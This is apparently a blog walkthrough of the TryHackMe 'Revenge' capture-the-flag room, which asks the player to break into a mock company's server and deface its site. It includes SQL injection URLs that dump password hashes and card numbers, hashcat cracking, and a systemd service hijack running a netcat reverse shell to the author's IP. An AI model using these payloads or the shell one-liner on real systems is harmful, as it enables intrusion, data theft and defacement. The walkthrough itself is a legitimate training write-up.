TryHackMe Walkthrough - Revenge

TryHackMe Walkthrough - Revenge

2021/08/28    

This room is a little different than the usual TryHackMe rooms. The goal is not to root the machine, but to deface the web site it host, without taking it down. You still need to root the machine, but it’s not sufficient.

You’ve been hired by Billy Joel to get revenge on Ducky Inc…the company that fired him. Can you break into the server and complete your mission?

The room has a text file with some instructions to download.

To whom it may concern,

I know it was you who hacked my blog.  I was really impressed with your skills.  You were a little sloppy 
and left a bit of a footprint so I was able to track you down.  But, thank you for taking me up on my offer.  
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.  
For that reason, I'll let you do your own enumeration and checking.

What I want you to do is simple.  Break into the server that's running the website and deface the front page.  
I don't care how you do it, just do it.  But remember...DO NOT BRING DOWN THE SITE!  We don't want to cause irreparable damage.

When you finish the job, you'll get the rest of your payment.  We agreed upon $5,000.  
Half up-front and half when you finish.

Good luck,

Billy

Enumeration

First thing, I launched Rustscan to look for opened ports on the server.

$ rustscan -a target  | tee rust.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.225.87:22
Open 10.10.225.87:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 06:05 EDT
Initiating Ping Scan at 06:05
Scanning 10.10.225.87 [2 ports]
Completed Ping Scan at 06:05, 0.23s elapsed (1 total hosts)
Initiating Connect Scan at 06:05
Scanning target (10.10.225.87) [2 ports]
Discovered open port 22/tcp on 10.10.225.87
Discovered open port 80/tcp on 10.10.225.87
Completed Connect Scan at 06:05, 0.24s elapsed (2 total ports)
Nmap scan report for target (10.10.225.87)
Host is up, received syn-ack (0.23s latency).
Scanned at 2021-07-28 06:05:04 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds

There are only two opened ports: 22 (SSH) and 80 (HTTP).

Web Site

I started looking around the web site.

Web Site

It’s a site for a rubber ducks wholesaler. Close to the bottom of the main page, there was a list of employees. I noted their names, they could be potential usernames.

The site had two login pages. One that is accessible through the menu on /login. And one that I found with Gobuster on /admin. But they didn’t do anything. Clicking on the LOGIN button just refreshed the page without posting the credentials.

SQL Injection

Since the login pages looked useless, I took a close look at the products page.

Products

Each products has a details page that had more information about the product, like a picture, the price and if it was in stock.

Box Of Duckies

The URL to the details page had the product id in it’s path (http://target.thm/products/1). I tested for SQL Injection and found out that it was vulnerable.

Going to the URL http://target.thm/products/2%20or%201%20=%201 (using the product id ‘2 or 1 = 1’) displayed the details of the first product, not the one with the id 2.

Now that I knew that it was vulnerable to SQL Injections, I needed to use it to extract data. But first I needed to find out how many columns are returned by the query. I used Order By 1 to find it. I incremented the column used for sorting until I got an error. The URL http://target.thm/products/2%20Order%20by%208 worked, but Order By 9 returned an error. So I knew that the query selected 8 columns.

Next I needed to figure which columns could be used to extract data. Not all of them are text and displayed in the page. I used the query http://target.thm/products/20%20UNION%20SELECT%201,%202,%203,%204,%205,%206,%207,%208 and looked at the resulting page.

Columns

From this I knew that the column 2 is used for the name, 8 for the description and 3 for the price. I could use columns 2 or 8 to extract text.

Now I could start extracting data from the database. First I wanted to know the database name. The query 20 UNION SELECT 1, database(), 3, 4, 5, 6, 7, 8 returned the name duckyinc.

Next I extracted the list of tables in that database with ‘20 UNION SELECT 1, table_name, 3, 4, 5, 6, 7, 8 FROM information_schema.TABLES Where table_schema = ‘duckyinc’ LIMIT 0, 1’.

By extracting the tables one at the time with the limit clause, I found three tables:

  • product
  • system_user
  • user

The table product did not look too interesting, so I started extracting the names of the column in the system_user table. I used the query ‘20 UNION SELECT 1, column_name, 3, 4, 5, 6, 7, 8 FROM information_schema.COLUMNS Where table_schema = ‘duckyinc’ and table_name = ‘system_user’ LIMIT 0, 1’ to get them.

It had four columns:

  • id
  • username
  • _password
  • email

With that information, I could finally extract the data from the table with ‘20 UNION SELECT 1, CONCAT(id, ‘ - ‘, username, ‘ - ‘, _password, ‘ - ‘, email), 3, 4, 5, 6, 7, 8 FROM system_user LIMIT 0, 1’.

1 - server-admin - $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a - sadmin@duckyinc.org

2 - kmotley - $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa - kmotley@duckyinc.org

3 - dhughes - $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK - dhughes@duckyinc.org

I used the same method to get the columns and the data from the user table.

  • id
  • username
  • _password
  • credit_card
  • email
  • company
1 - jhenry - $2a$12$dAV7fq4KIUyUEOALi8P2dOuXRj5ptOoeRtYLHS85vd/SBDv.tYXOa - 4338736490565706 - sales@fakeinc.org - Fake Inc

2 - smonroe - $2a$12$6KhFSANS9cF6riOw5C66nerchvkU9AHLVk7I8fKmBkh6P/rPGmanm - 355219744086163 - accountspayable@ecorp.org - Evil Corp

3 - dross - $2a$12$9VmMpa8FufYHT1KNvjB1HuQm9LF8EX.KkDwh9VRDb5hMk3eXNRC4C - 349789518019219 - accounts.payable@mcdoonalds.org - McDoonalds Inc

4 - ngross - $2a$12$LMWOgC37PCtG7BrcbZpddOGquZPyrRBo5XjQUIVVAlIKFHMysV9EO - 4499108649937274 - sales@ABC.com - ABC Corp

5 - jlawlor - $2a$12$hEg5iGFZSsec643AOjV5zellkzprMQxgdh1grCW3SMG9qV9CKzyRu - 4563593127115348 - sales@threebelow.com - Three Below

6 - mandrews - $2a$12$reNFrUWe4taGXZNdHAhRme6UR2uX..t/XCR6UnzTK6sh1UhREd1rC - REDACTED - ap@krasco.org - Krasco Org

7 - dgorman - $2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm - 4905698211632780 - payable@wallyworld.com - Wally World Corp

8 - mbutts - $2a$12$dmdKBc/0yxD9h81ziGHW4e5cYhsAiU4nCADuN0tCE8PaEv51oHWbS - 4690248976187759 - payables@orlando.gov - Orlando City

9 - hmontana - $2a$12$q6Ba.wuGpch1SnZvEJ1JDethQaMwUyTHkR0pNtyTW6anur.3.0cem - 375019041714434 - sales@dollatwee.com - Dolla Twee

10 - csmith - $2a$12$gxC7HlIWxMKTLGexTq8cn.nNnUaYKUpI91QaqQ/E29vtwlwyvXe36 - 364774395134471 - sales@ofamdollar - O! Fam Dollar

This gave me the first flag. It was hidden in the credit card field of a user.

Initial foothold

With the data in the user and system_user tables, I had 13 password hashes that I could try to crack. I saved them to a file and launched hashcat to try to break them. After a while, it found the passwords for the system user server-admin and the user dgorman.

$ hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 1423/1487 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 13 digests; 13 unique digests, 13 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

INFO: Removed 2 hashes found in potfile.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: hash.txt
Time.Started.....: Wed Jul 28 06:49:14 2021 (1 hour, 37 mins)
Time.Estimated...: Tue May 31 17:24:47 2022 (307 days, 8 hours)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        6 H/s (5.84ms) @ Accel:4 Loops:16 Thr:1 Vec:8
Recovered........: 2/13 (15.38%) Digests, 2/13 (15.38%) Salts
Progress.........: 41056/186477005 (0.02%)
Rejected.........: 0/41056 (0.00%)
Restore.Point....: 3152/14344385 (0.02%)
Restore.Sub.#1...: Salt:10 Amplifier:0-1 Iteration:2112-2128
Candidates.#1....: starbucks -> 2sexy4u


$ hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --show
$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a:REDACTED
$2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm:REDACTED

I tried them both on the SSH server. The credentials for server-admin worked.

$ ssh server-admin@target                                                                                                                                 
The authenticity of host 'target (10.10.223.228)' can't be established.
ECDSA key fingerprint is SHA256:p6l0aKeIJlyHmiqZxt/pRvjb++LAjF9jTDp4ZkSCpOk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'target,10.10.223.228' (ECDSA) to the list of known hosts.
server-admin@target's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


8 packages can be updated.
0 updates are security updates.


################################################################################
#                        Ducky Inc. Web Server 00080012                        #
#            This server is for authorized Ducky Inc. employees only           #
#                  All actiions are being monitored and recorded               #
#                    IP and MAC addresses have been logged                     #
################################################################################
Last login: Wed Aug 12 20:09:36 2020 from 192.168.86.65
server-admin@duckyinc:~$ 

server-admin@duckyinc:~$ ls
flag2.txt

server-admin@duckyinc:~$ cat flag2.txt 
REDACTED

I was connected to the sever, and I had the second flag.

Privilege Escalation

Now I needed to find a way to get root access to the server. I looked at sudo permissions and I was able to interact with the duckyinc service.

server-admin@duckyinc:~$ sudo -l
[sudo] password for server-admin: 
Matching Defaults entries for server-admin on duckyinc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User server-admin may run the following commands on duckyinc:
    (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service
server-admin@duckyinc:~$ sudoedit /etc/systemd/system/duckyinc.service

I looked at the service.

server-admin@duckyinc:~$ cat /etc/systemd/system/duckyinc.service
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target

[Service]
User=flask-app
Group=www-data
WorkingDirectory=/var/www/duckyinc
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 app:app
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID

[Install]
WantedBy=multi-user.target

It was launching the Gunicorn web server. It was used to served the web site. I decided to use this service to get a reverse shell.

I created a file that would be executed by the service start and create the connection to my machine.

server-admin@duckyinc:~$ chmod +x /home/server-admin/service

server-admin@duckyinc:~$ cat /home/server-admin/service 
#!/usr/bin/env bash

mkfifo /tmp/kirxhbg; nc 10.13.3.36 4444 0</tmp/kirxhbg | /bin/sh >/tmp/kirxhbg 2>&1; rm /tmp/kirxhbg

Then I modified the service with sudoedit to be executed as root and run my file.

server-admin@duckyinc:~$ sudoedit /etc/systemd/system/duckyinc.service
server-admin@duckyinc:~$ cat /etc/systemd/system/duckyinc.service
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target

[Service]
#User=flask-app
User=root
Group=www-data
WorkingDirectory=/var/www/duckyinc
#ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 app:app
ExecStart=/home/server-admin/service
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID

[Install]
WantedBy=multi-user.target

I started a netcat listener on my machine, reloaded the configuration and restarted the service.

server-admin@duckyinc:~$ sudo /bin/systemctl daemon-reload
server-admin@duckyinc:~$ sudo /bin/systemctl restart duckyinc.service

The server connected to my listener and I had root on the server.

ehogue@kali:~/Kali/OnlineCTFs/TryHackMe/Revenge$ nc -lknvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.223.228 34820

whoami
root

ls
app.py
__pycache__
requirements.txt
static
templates

cd

ls

pwd
/root

ls -la
total 52
drwx------  7 root root 4096 Aug 28  2020 .
drwxr-xr-x 24 root root 4096 Aug  9  2020 ..
drwxr-xr-x  2 root root 4096 Aug 12  2020 .bash_completion.d
lrwxrwxrwx  1 root root    9 Aug 10  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3227 Aug 12  2020 .bashrc
drwx------  3 root root 4096 Aug  9  2020 .cache
drwx------  3 root root 4096 Aug  9  2020 .gnupg
drwxr-xr-x  5 root root 4096 Aug 12  2020 .local
-rw-------  1 root root  485 Aug 10  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Aug 10  2020 .selected_editor
drwx------  2 root root 4096 Aug  9  2020 .ssh
-rw-------  1 root root 7763 Aug 12  2020 .viminfo

S: 0 Window: 2 Pane: 1        

I was connected on the server. But there was no root flag. I looked around a little bit, then I remembered that the goal of the room was to deface the site without bringing it down.

I edited the file /var/www/duckyinc/templates/index.html and added some text to it.

I went back to the terminal opened as server-admin. I reverted my changes to the service and restarted it. When I went to the web site again, my text was there. But there was still no flag to be found.

I changed the service again to be able to connect as root. When I got the reverse shell, there was a new file in the root folder.

$ nc -lknvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.223.228 34824

cd /root

ls
flag3.txt

cat flag3.txt
REDATED